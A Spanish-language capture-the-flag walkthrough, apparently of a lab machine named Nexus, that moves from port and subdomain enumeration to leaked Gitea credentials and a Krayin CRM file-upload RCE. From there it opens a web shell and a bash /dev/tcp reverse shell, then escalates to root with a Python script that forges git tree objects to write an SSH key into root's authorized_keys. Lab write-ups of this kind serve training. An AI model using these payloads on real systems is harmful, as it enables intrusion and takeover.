Reconocimiento inicial
Enumeración con nmap
Comenzamos la fase de enumeración identificando la superficie de ataque mediante un escaneo de puertos. Utilizamos nmap para listar los servicios activos y sus versiones.
nmap -F -sV -n -Pn 10.129.82.149
Nmap scan report for 10.129.82.149
Host is up (0.042s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
El resultado del escaneo revela dos servicios activos. Entre ellos, un servicio SSH en el puerto (22) y un servicio web nginx en el puerto 80.
Al comprobar que la web principal no muestra funcionalidades, formularios ni rutas de interés, más allá de un email (j.matthew@nexus.htb) perteneciente a un posible usuario que se revela al acceder a una oferta de trabajo publicada al final de la página.
Procedemos a realizamos una búsqueda de subdominios mediante fuzzing de la cabecera Host para identificar posibles entornos virtuales ocultos. solo un email de un posible usuario al pulsar sobre una oferta de trabajo publicada al final de la página.
ffuf -u http://10.129.82.149/ \
-H 'Host: FUZZ.nexus.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-ac -mc all
git [Status: 200, Size: 14472, Words: 1195, Lines: 242, Duration: 47ms]
billing [Status: 302, Size: 390, Words: 60, Lines: 12, Duration: 113ms]
El escaneo revela dos subdominios: git y billing. Inspeccionamos primero el servicio asociado a git, ya que una mala configuración en este tipo de paneles suele permitir la exfiltración de código fuente o credenciales.
Análisis del repositorio
Al acceder al subdominio git.nexus.htb, encontramos una instancia de Gitea con un repositorio público que contiene la estructura del proyecto, incluyendo archivos como docker-compose.yml, directorios de documentación y el archivo .env.

Al inspeccionar el contenido del archivo .env, obtenemos información sobre la configuración del entorno, como usuarios y correos del sistema:
usuario krayin
email laravel@krayincrm.com
Analizando el historial de commits del repositorio, localizamos una versión previa del archivo .env donde se expuso la contraseña de la base de datos en claro:

N27xh!!2ucY04
Acceso al panel de Billing
A continuación, navegamos al subdominio billing.nexus.htb, donde tenemos un formulario de inicio de sesión.
Probamos las credenciales obtenidas sin éxito con el correo laravel@krayincrm.com. Sin embargo, reutilizando la contraseña N27xh!!2ucY04 con una de las direcciones corporativas identificadas previamente en la web principal j.matthew@nexus.htb, logramos autenticarnos correctamente en el panel.
Una vez dentro del panel de Billing, navegamos hasta el icono de usuario situado en la esquina superior derecha, donde comprobamos que la aplicación utiliza Krayin CRM versión 2.2.0.
Buscando vectores de ataque para esta versión, identificamos el CVE-2026-38526, una vulnerabilidad de ejecución remota de código autenticada (Authenticated RCE) derivada de una validación deficiente en la subida de archivos desde el endpoint /admin/tinymce/upload.
En Exploit-DB se encuentra disponible el exploit: Krayin CRM v2.2.x - Authenticated Remote Code Execution
Explotación manual de RCE en Krayin CRM (CVE-2026-38526)
El módulo de email del CRM permite adjuntar ficheros sin restringir extensiones peligrosas como .php.

Al subir el archivo, capturamos la petición para comprobar que el archivo se carga correctamente y verificar si la respuesta revela la ruta en la que queda almacenado:

Tras subir nuestro script y localizar la ruta de, verificamos que el servidor interpreta el código realizando una petición HTTP con curl:
curl -k http://billing.nexus.htb/storage/emails/1/shell.php?cmd=id
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>
Procedemos a iniciar Netcat escuchando el puerto 4444:
nc -lnvp 4444
listening on [any] 4444 ...
A continuación, lanzamos una reverse shell utilizando la propia web shell a través del navegador:
http://billing.nexus.htb/storage/emails/1/shell.php?cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.15.164%2F4444+0%3E%261%27
Con netcat preparado, en nuestra máquina recibimos la conexión con éxito con los privilegios del servidor web (www-data):
connect to [10.10.15.164] from (UNKNOWN) [10.129.82.149] 57584
bash: cannot set terminal process group (1396): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nexus:~/krayin/storage/app/public/tinymce$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@nexus:~/krayin/storage/app/public/tinymce$
Enumeración local
Una vez dentro del sistema como www-data, procedemos a enumerar el directorio actual de la aplicación web ~/krayin . Al listar los archivos ocultos, identificamos nuevamente un archivo .env.
ls -la
total 568
drwxr-xr-x 14 www-data www-data 4096 May 12 12:06 .
drwxr-xr-x 4 root root 4096 May 12 12:06 ..
-rw-r--r-- 1 www-data www-data 220 Mar 17 09:46 .editorconfig
-rw-r--r-- 1 www-data www-data 1195 Apr 22 22:50 .env
-rw-r--r-- 1 www-data www-data 1124 Mar 17 09:46 .env.example
-rw-r--r-- 1 www-data www-data 186 Mar 17 09:46 .gitattributes
-rw-r--r-- 1 www-data www-data 455 Mar 17 09:46 .gitignore
[... SNIP ...]
cat .env
[... SNIP ...]
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
DB_PREFIX=
[... SNIP ...]
Para identificar qué usuarios del sistema disponen de una shell interactiva y comprobar si la credencial ha sido reutilizada, filtramos el archivo /etc/passwd:
grep -E -v "nologin|false|sync" /etc/passwd
root:x:0:0:root:/root:/bin/bash
jones:x:1000:1000:,,,:/home/jones:/bin/bash
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash
Movimiento lateral: Usuario jones
Tenemos el usuario jones, probamos reutilización de la contraseña mediante SSH:
ssh jones@10.129.82.149
id
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)
Escalada de privilegios
Durante la fase de enumeración del sistema, revisamos los temporizadores activos de systemctl para identificar tareas recurrentes ejecutadas por usuarios con privilegios elevados:
systemctl list-timers
NEXT LEFT LAST PASSED UNIT ACTIVATES >
Sun 2026-08-23 14:11:21 UTC 22s Sun 2026-08-23 14:10:21 UTC 37s ago gitea-template-sync.timer gitea-template-syn>
Sun 2026-08-23 14:20:00 UTC 9min Sun 2026-08-23 14:10:01 UTC 57s ago sysstat-collect.timer sysstat-collect.se>
[... SNIP ...]
El listado revela el temporizador gitea-template-sync.timer , el cual ejecuta de forma periódica un script de sincronización escrito en Python ubicado en /etc/gitea/template-sync.py.
Inspeccionamos el código fuente del script para analizar su lógica de funcionamiento:
def sync_template(repo_info):
owner = repo_info['owner']['login']
name = repo_info['name'].lower()
bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
stage_path = os.path.join(STAGING_DIR, owner, name)
# [... SNIP ...]
for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)
try:
os.makedirs(target_dir, exist_ok=True)
# [... SNIP ...]
with open(target, 'wb') as f:
f.write(cat_result.stdout)
Al leer el script de sincronización, se observa que procesa los repositorios de plantillas y sincroniza su contenido utilizando las rutas devueltas por git ls-tree
La vulnerabilidad se encuentra en el uso de os.path.join() sobre las rutas de archivo sin procesar, sin aplicar ninguna validación ni sanitización contra secuencias de recorrido de directorios.
Dado que git ls-tree puede incluir rutas con secuencias .. y os.path.join() las resuelve, es posible escribir ficheros de forma arbitraria en cualquier ubicación accesible por el contexto de ejecución.
Como el directorio base de preparación se sitúa en /home/git/template-staging/<owner>/<repo>/, calculamos que se necesitan cinco saltos de directorio (../../../../root) para alcanzar la ruta /root/.ssh/authorized_keys e inyectar nuestra clave pública SSH.
Gitea Template Directory Traversal
Primero, generamos un par de claves SSH en nuestra máquina local para la posterior autenticación:
ssh-keygen -t ed25519 -f /tmp/.k -N ''
Iniciamos sesión en Gitea con las credenciales de jones. A continuación, creamos un nuevo repositorio llamado rce y lo marcamos explícitamente como repositorio de tipo plantilla (template), permitiendo que el script automatizado del sistema lo procese.

Ahora clonamos el repositorio y usamos un script de Python para crear objetos Git sin procesar con componentes de recorrido de ruta.
cd /tmp
git clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/rce.git
cd rce
touch README.md
Las comprobaciones de seguridad integradas en el cliente oficial de Git (verify_path()) impiden crear rutas que contengan secuencias de escape como ... Para sortear esta restricción interactuamos directamente con la base de datos interna de objetos de Git, omitiendo la interfaz de comandos.
Internamente, Git almacena la información mediante tres tipos principales de objetos ubicados en .git/objects/:
- Blob: Contiene datos en bruto, como el contenido de un archivo.
- Tree: Actúa como un directorio, asociando nombres de archivos o carpetas con sus respectivos hashes y permisos.
- Commit: Apunta al árbol raíz (root tree) y almacena metadatos del autor y del commit.
Utilizamos el siguiente script en Python (build.py) para construir el payload:
# build.py
#!/usr/bin/env python3
import hashlib, zlib, os, subprocess, sys, time
def write_obj(data, t):
h = ("%s %d" % (t, len(data))).encode() + b"\x00"
s = h + data
sha = hashlib.sha1(s).hexdigest()
d = os.path.join(".git", "objects", sha[:2])
os.makedirs(d, exist_ok=True)
p = os.path.join(d, sha[2:])
if not os.path.exists(p):
open(p, "wb").write(zlib.compress(s))
return sha
def entry(mode, name, sha):
return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)
if not os.path.isdir(".git"):
print("Run inside git repo")
sys.exit(1)
r = subprocess.run(["cat", "/tmp/.k.pub"], capture_output=True, text=True)
if r.returncode != 0:
print("ssh-keygen -t ed25519 -f /tmp/.k -N ''")
sys.exit(1)
key = r.stdout.strip() + "\n"
blob = write_obj(key.encode(), "blob")
readme = write_obj(b"# Template\n", "blob")
ssh_t = write_obj(entry("100644", "authorized_keys", blob), "tree")
cur = write_obj(entry("40000", ".ssh", ssh_t), "tree")
fir = write_obj(entry("40000", "root", cur), "tree")
for i in range(4):
fir = write_obj(entry("40000", "..", fir), "tree")
root = write_obj(entry("100644", "README.md", readme) + entry("40000", "..", fir), "tree")
ts = int(time.time())
c = "tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n" % (root, ts, ts)
sha = write_obj(c.encode(), "commit")
os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
open(os.path.join(".git", "refs", "heads", "main"), "w").write(sha + "\n")
print("Done: " + sha)
Funcionamiento del script
Funcionamiento interno de los objetos Tree en Git
Para comprender el funcionamiento del script, es necesario analizar cómo almacena Git sus directorios a bajo nivel. A diferencia de los ficheros planos (blobs), un objeto de tipo tree funciona como un directorio estructurado de forma binaria. Cada entrada dentro de un árbol contiene los siguientes elementos concatenados:
- El modo de permisos en script (por ejemplo,
40000para directorios o100644para archivos). - Un espacio y el nombre del archivo o carpeta.
- Un byte nulo (
\0) como delimitador estricto. - El hash SHA-1 del objeto hijo correspondiente, convertido obligatoriamente a su representación binaria pura de 20 bytes (y no a la cadena hexadecimal habitual de 40 caracteres).
La función entry() del script reproduce esta estructura a nivel de bytes, permitiendo empaquetar directorios directamente en la base de datos de objetos.
La cadena de saltos de directorio (..)
El bucle del script ejecuta cuatro iteraciones consecutivas donde cada nuevo objeto de tipo árbol contiene una única entrada llamada .. que apunta al hash del árbol generado en la iteración anterior.
Al encadenar estos objetos, se crea una estructura jerárquica invertida dentro de la base de datos de Git. Cuando un proceso automatizado solicita la lista de archivos de forma recursiva (mediante un comando equivalente a git ls-tree -r HEAD), el sistema recorre estos árboles y genera una ruta resultante que incluye múltiples secuencias de escape de directorio.
Cómo opera el script de sincronización del servidor
La vulnerabilidad se hace posible por la forma en que el script de sincronización del servidor (template-sync.py) procesa las rutas. En su lógica interna, el script utiliza la función os.path.join() de Python para construir la ruta final de destino:
target = os.path.join(stage_path, filepath)
En Python, os.path.join() evalúa los componentes de las rutas de derecha a izquierda; si encuentra una secuencia de retroceso relativa (..), desecha los niveles anteriores del directorio base (/home/git/template-staging/...) y asciende en el árbol de directorios.
Debido a que el árbol malicioso de Git contenía suficientes niveles de escape, la ruta resultante sale por completo del directorio confinado del repositorio y apunta de forma absoluta a /root/.ssh/authorized_keys, logrando que el backend del servidor escriba la clave pública del atacante con privilegios elevados.
Ejecución del script y sincronización
Una vez creado el script build.py y creada la estructura maliciosa en el repositorio clonado, ejecutamos el script localmente:
python3 /tmp/build.py
Done: 7f8e9d0c1b2a3f4e5d6c7b8a9f0e1d2c3b4a5f6e
Forzamos la subida de los cambios modificados al repositorio remoto en Gitea:
git push -u origin main --force
Esperamos a que el temporizador del sistema ejecute de nuevo la tarea de sincronización automática. Para confirmar que el proceso se ha completado con éxito, revisamos el registro de actividad del servicio:
cat /var/log/template-sync.log
[2026-03-23 18:31:00] Template sync starting
[2026-03-23 18:31:00] Found 2 template repo(s)
[2026-03-23 18:31:00] Syncing template: jones/rce
[2026-03-23 18:31:00] synced: README.md
[2026-03-23 18:31:00] Syncing template: jones/rce
[2026-03-23 18:31:00] synced: README.md
[2026-03-23 18:31:00] synced: ../../../../../root/.ssh/authorized_keys
[2026-03-23 18:31:00] Template sync complete
El registro confirma que el script del sistema ha interpretado las rutas de salto y ha escrito nuestra clave pública en el archivo /root/.ssh/authorized_keys.
Establecemos la conexión SSH utilizando la clave privada generada al inicio para autenticarnos con privilegios de superusuario:
ssh -i /tmp/.k root@nexus.htb
id
uid=0(root) gid=0(root) groups=0(root)